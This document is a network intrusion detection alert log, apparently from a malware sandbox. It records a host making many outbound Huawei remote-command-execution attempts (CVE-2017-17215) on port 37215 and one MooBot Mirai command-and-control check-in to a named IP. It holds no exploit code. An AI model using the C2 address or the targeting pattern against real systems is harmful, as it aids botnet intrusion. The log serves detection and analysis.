2024-08-01T15:36:09.901111+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41734	37215	192.168.2.14	157.76.170.159
2024-08-01T15:36:18.277594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35794	37215	192.168.2.14	41.249.159.131
2024-08-01T15:35:20.202651+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34110	37215	192.168.2.14	157.6.154.255
2024-08-01T15:35:40.262681+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41400	37215	192.168.2.14	41.28.75.242
2024-08-01T15:35:35.135285+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47450	37215	192.168.2.14	41.214.25.222
2024-08-01T15:35:20.210507+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42132	37215	192.168.2.14	210.71.47.173
2024-08-01T15:35:16.495808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36160	37215	192.168.2.14	197.190.55.55
2024-08-01T15:36:09.887660+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56530	37215	192.168.2.14	157.12.110.94
2024-08-01T15:36:51.579532+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55672	37215	192.168.2.14	41.83.133.18
2024-08-01T15:36:15.558636+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39904	37215	192.168.2.14	197.248.180.213
2024-08-01T15:36:28.943874+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60518	37215	192.168.2.14	41.242.135.118
2024-08-01T15:36:53.697401+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60192	37215	192.168.2.14	159.64.115.51
2024-08-01T15:35:21.880478+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53610	37215	192.168.2.14	112.128.136.30
2024-08-01T15:35:50.291032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46018	37215	192.168.2.14	129.170.86.164
2024-08-01T15:36:11.932310+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44788	37215	192.168.2.14	41.239.238.45
2024-08-01T15:35:21.832703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57066	37215	192.168.2.14	197.50.190.2
2024-08-01T15:35:20.216401+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41566	37215	192.168.2.14	66.156.73.237
2024-08-01T15:35:21.928807+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34372	37215	192.168.2.14	197.121.155.108
2024-08-01T15:35:20.202995+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54344	37215	192.168.2.14	41.112.168.9
2024-08-01T15:35:21.872323+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46078	37215	192.168.2.14	197.189.16.221
2024-08-01T15:36:28.683995+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49354	37215	192.168.2.14	157.242.58.8
2024-08-01T15:35:21.883722+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42660	37215	192.168.2.14	73.38.23.67
2024-08-01T15:36:01.488849+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57176	37215	192.168.2.14	41.190.182.178
2024-08-01T15:36:22.371844+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55084	37215	192.168.2.14	8.35.1.224
2024-08-01T15:35:40.240011+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40114	37215	192.168.2.14	41.182.242.227
2024-08-01T15:36:22.850868+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58776	37215	192.168.2.14	154.98.125.183
2024-08-01T15:36:36.950670+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54444	37215	192.168.2.14	157.24.102.79
2024-08-01T15:36:48.588960+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48406	37215	192.168.2.14	41.213.174.177
2024-08-01T15:36:29.403130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33674	37215	192.168.2.14	210.144.3.248
2024-08-01T15:35:20.204019+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42208	37215	192.168.2.14	41.172.52.42
2024-08-01T15:35:20.209438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35898	37215	192.168.2.14	32.132.7.31
2024-08-01T15:35:20.205899+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44882	37215	192.168.2.14	197.18.236.36
2024-08-01T15:35:21.932461+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33408	37215	192.168.2.14	197.243.28.138
2024-08-01T15:36:48.379387+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51986	37215	192.168.2.14	157.18.122.158
2024-08-01T15:36:24.915564+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39774	37215	192.168.2.14	157.123.207.16
2024-08-01T15:35:21.939623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39480	37215	192.168.2.14	41.141.133.53
2024-08-01T15:35:21.918858+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37276	37215	192.168.2.14	206.53.65.154
2024-08-01T15:35:58.805785+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34412	37215	192.168.2.14	157.67.206.172
2024-08-01T15:36:01.470671+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54652	37215	192.168.2.14	41.245.6.240
2024-08-01T15:36:53.776576+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37892	37215	192.168.2.14	197.141.9.218
2024-08-01T15:35:43.436783+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	49432	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:20.203810+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36586	37215	192.168.2.14	200.156.103.209
2024-08-01T15:36:22.455303+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47962	37215	192.168.2.14	157.220.12.142
2024-08-01T15:36:34.892325+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60356	37215	192.168.2.14	157.153.89.79
2024-08-01T15:35:17.184674+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40864	37215	192.168.2.14	197.84.194.246
2024-08-01T15:36:20.294204+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50622	37215	192.168.2.14	197.61.178.128
2024-08-01T15:36:22.358810+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60708	37215	192.168.2.14	157.190.154.11
2024-08-01T15:35:20.545268+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39718	37215	192.168.2.14	2.233.87.191
2024-08-01T15:36:16.166780+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55436	37215	192.168.2.14	197.28.227.240
2024-08-01T15:36:24.713323+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41568	37215	192.168.2.14	163.215.217.74
2024-08-01T15:35:17.240960+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58456	37215	192.168.2.14	197.96.34.47
2024-08-01T15:36:29.060599+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33008	37215	192.168.2.14	197.186.76.34
2024-08-01T15:35:20.210208+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34792	37215	192.168.2.14	41.171.17.204
2024-08-01T15:35:21.839163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48382	37215	192.168.2.14	197.149.19.54
2024-08-01T15:35:17.250934+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34888	37215	192.168.2.14	41.25.92.177
2024-08-01T15:35:16.429868+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53402	37215	192.168.2.14	197.206.139.104
2024-08-01T15:35:17.246244+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39614	37215	192.168.2.14	157.240.233.234
2024-08-01T15:35:20.205645+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34514	37215	192.168.2.14	157.59.133.168
2024-08-01T15:35:50.277916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59422	37215	192.168.2.14	41.173.56.47
2024-08-01T15:36:42.158576+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37234	37215	192.168.2.14	41.35.110.184
2024-08-01T15:35:17.260744+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41424	37215	192.168.2.14	41.113.19.213
2024-08-01T15:36:18.286347+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36940	37215	192.168.2.14	157.127.14.177
2024-08-01T15:35:20.216430+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54484	37215	192.168.2.14	157.89.65.138
2024-08-01T15:36:53.744381+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52780	37215	192.168.2.14	128.207.187.122
2024-08-01T15:35:37.222239+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51330	37215	192.168.2.14	197.51.187.44
2024-08-01T15:35:21.858951+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37190	37215	192.168.2.14	157.4.161.135
2024-08-01T15:36:56.011484+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35142	37215	192.168.2.14	123.11.179.255
2024-08-01T15:36:11.949300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46632	37215	192.168.2.14	220.227.198.78
2024-08-01T15:35:35.142666+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57572	37215	192.168.2.14	62.128.239.24
2024-08-01T15:35:50.278473+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43734	37215	192.168.2.14	41.102.160.252
2024-08-01T15:35:20.545563+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49856	37215	192.168.2.14	80.107.166.82
2024-08-01T15:35:56.486580+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34260	37215	192.168.2.14	41.79.109.49
2024-08-01T15:36:01.681096+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52826	37215	192.168.2.14	41.201.224.121
2024-08-01T15:36:37.120372+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50376	37215	192.168.2.14	41.20.225.239
2024-08-01T15:35:21.907520+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57158	37215	192.168.2.14	41.79.160.146
2024-08-01T15:35:20.216258+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49900	37215	192.168.2.14	197.113.81.148
2024-08-01T15:35:21.867524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60676	37215	192.168.2.14	157.26.227.71
2024-08-01T15:36:11.934161+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37726	37215	192.168.2.14	157.158.200.71
2024-08-01T15:35:25.948081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36804	37215	192.168.2.14	69.172.16.4
2024-08-01T15:35:21.836263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56584	37215	192.168.2.14	197.232.173.134
2024-08-01T15:36:04.808329+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43444	37215	192.168.2.14	191.63.111.181
2024-08-01T15:36:26.559150+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60556	37215	192.168.2.14	197.54.33.193
2024-08-01T15:35:20.204367+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53504	37215	192.168.2.14	157.178.58.224
2024-08-01T15:36:34.887295+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37910	37215	192.168.2.14	133.101.20.75
2024-08-01T15:36:55.993875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56732	37215	192.168.2.14	157.85.251.131
2024-08-01T15:35:16.403264+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38800	37215	192.168.2.14	197.52.238.43
2024-08-01T15:35:17.240571+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34146	37215	192.168.2.14	41.65.179.28
2024-08-01T15:35:20.210331+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35788	37215	192.168.2.14	197.137.205.208
2024-08-01T15:35:53.664135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54732	37215	192.168.2.14	84.181.156.154
2024-08-01T15:35:56.416777+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33426	37215	192.168.2.14	197.78.32.24
2024-08-01T15:35:21.939197+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.14	106.98.95.231
2024-08-01T15:35:56.695813+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34132	37215	192.168.2.14	197.241.32.182
2024-08-01T15:35:21.905726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58256	37215	192.168.2.14	197.202.23.183
2024-08-01T15:36:49.568435+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36818	37215	192.168.2.14	197.150.172.215
2024-08-01T15:35:45.278944+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42250	37215	192.168.2.14	48.17.55.210
2024-08-01T15:35:21.905341+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42584	37215	192.168.2.14	157.36.246.84
2024-08-01T15:35:40.223676+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34382	37215	192.168.2.14	41.103.84.247
2024-08-01T15:36:22.352285+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60224	37215	192.168.2.14	197.127.200.96
2024-08-01T15:36:30.755601+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35924	37215	192.168.2.14	41.116.18.42
2024-08-01T15:36:49.853011+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60166	37215	192.168.2.14	41.31.59.88
2024-08-01T15:35:21.870119+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43508	37215	192.168.2.14	84.232.124.112
2024-08-01T15:35:20.209778+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49448	37215	192.168.2.14	197.58.206.143
2024-08-01T15:35:16.602941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59630	37215	192.168.2.14	157.108.49.207
2024-08-01T15:36:18.259784+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51658	37215	192.168.2.14	157.205.94.247
2024-08-01T15:36:14.842646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42696	37215	192.168.2.14	197.170.181.88
2024-08-01T15:35:20.204195+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35962	37215	192.168.2.14	137.123.9.9
2024-08-01T15:36:32.809258+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60016	37215	192.168.2.14	41.23.245.210
2024-08-01T15:35:53.373081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55140	37215	192.168.2.14	197.165.69.60
2024-08-01T15:37:00.161344+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39174	37215	192.168.2.14	157.66.35.81
2024-08-01T15:35:20.214636+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36488	37215	192.168.2.14	157.55.116.173
2024-08-01T15:35:40.237627+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35312	37215	192.168.2.14	209.215.5.52
2024-08-01T15:36:16.184864+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50666	37215	192.168.2.14	157.153.26.128
2024-08-01T15:35:45.271227+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59782	37215	192.168.2.14	197.65.253.78
2024-08-01T15:35:40.224229+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50756	37215	192.168.2.14	91.234.111.84
2024-08-01T15:35:21.850300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56196	37215	192.168.2.14	197.206.36.187
2024-08-01T15:35:54.400175+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51026	37215	192.168.2.14	157.189.31.225
2024-08-01T15:36:30.755429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60386	37215	192.168.2.14	157.118.9.203
2024-08-01T15:35:20.545817+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60296	37215	192.168.2.14	157.165.188.148
2024-08-01T15:35:56.648815+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54504	37215	192.168.2.14	157.17.161.122
2024-08-01T15:36:53.713720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43060	37215	192.168.2.14	157.89.36.3
2024-08-01T15:35:20.204584+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42838	37215	192.168.2.14	157.143.154.46
2024-08-01T15:35:21.888580+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52332	37215	192.168.2.14	197.246.30.64
2024-08-01T15:36:53.732660+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40684	37215	192.168.2.14	41.226.27.93
2024-08-01T15:37:00.201070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35492	37215	192.168.2.14	157.118.208.1
2024-08-01T15:36:39.043279+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48756	37215	192.168.2.14	41.216.175.31
2024-08-01T15:35:20.216479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51354	37215	192.168.2.14	41.48.148.177
2024-08-01T15:35:50.302312+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37522	37215	192.168.2.14	157.44.46.80
2024-08-01T15:36:01.488800+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35876	37215	192.168.2.14	157.164.28.218
2024-08-01T15:36:31.132066+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46698	37215	192.168.2.14	197.53.137.49
2024-08-01T15:36:52.619289+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40074	37215	192.168.2.14	197.203.158.236
2024-08-01T15:36:01.504361+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33242	37215	192.168.2.14	213.90.220.161
2024-08-01T15:35:21.837242+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34282	37215	192.168.2.14	157.202.198.155
2024-08-01T15:35:21.920132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60802	37215	192.168.2.14	197.127.128.225
2024-08-01T15:35:16.324425+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36174	37215	192.168.2.14	157.121.143.74
2024-08-01T15:35:43.514512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46364	37215	192.168.2.14	157.136.31.159
2024-08-01T15:35:20.210245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33632	37215	192.168.2.14	41.12.240.236
2024-08-01T15:35:16.774392+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35606	37215	192.168.2.14	157.187.148.134
2024-08-01T15:36:09.870661+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46946	37215	192.168.2.14	197.155.70.80
2024-08-01T15:36:11.951045+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36786	37215	192.168.2.14	197.227.230.73
2024-08-01T15:35:45.282356+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42582	37215	192.168.2.14	197.148.235.86
2024-08-01T15:34:55.634550+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39300	37215	192.168.2.14	197.40.23.137
2024-08-01T15:36:49.568513+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58480	37215	192.168.2.14	197.160.204.56
2024-08-01T15:36:11.902091+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43612	37215	192.168.2.14	217.241.60.162
2024-08-01T15:35:17.231070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46676	37215	192.168.2.14	157.37.176.1
2024-08-01T15:35:20.216180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58458	37215	192.168.2.14	106.163.137.105
2024-08-01T15:36:36.978685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55876	37215	192.168.2.14	157.40.144.156
2024-08-01T15:36:46.306130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45282	37215	192.168.2.14	82.23.144.255
2024-08-01T15:36:57.559220+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42106	37215	192.168.2.14	79.153.4.153
2024-08-01T15:35:53.374023+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59464	37215	192.168.2.14	41.25.178.165
2024-08-01T15:35:31.025781+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56266	37215	192.168.2.14	41.123.91.129
2024-08-01T15:36:39.033774+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59256	37215	192.168.2.14	197.0.200.111
2024-08-01T15:35:40.228325+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49570	37215	192.168.2.14	157.248.204.190
2024-08-01T15:36:09.888438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53076	37215	192.168.2.14	197.224.126.27
2024-08-01T15:35:40.222263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40064	37215	192.168.2.14	41.79.151.103
2024-08-01T15:36:18.286400+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49912	37215	192.168.2.14	132.12.48.169
2024-08-01T15:36:28.746896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34732	37215	192.168.2.14	157.184.202.127
2024-08-01T15:35:33.066759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34030	37215	192.168.2.14	41.114.28.8
2024-08-01T15:35:40.244058+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52412	37215	192.168.2.14	157.77.237.3
2024-08-01T15:35:16.668173+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57426	37215	192.168.2.14	157.169.17.131
2024-08-01T15:36:01.465121+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39070	37215	192.168.2.14	44.64.147.48
2024-08-01T15:35:20.545473+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54722	37215	192.168.2.14	208.209.185.254
2024-08-01T15:35:20.202880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49010	37215	192.168.2.14	197.101.242.74
2024-08-01T15:36:30.284404+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35520	37215	192.168.2.14	88.234.55.228
2024-08-01T15:35:16.382317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57910	37215	192.168.2.14	67.173.236.255
2024-08-01T15:36:44.234094+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38514	37215	192.168.2.14	139.87.155.39
2024-08-01T15:35:16.398861+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55514	37215	192.168.2.14	157.247.173.232
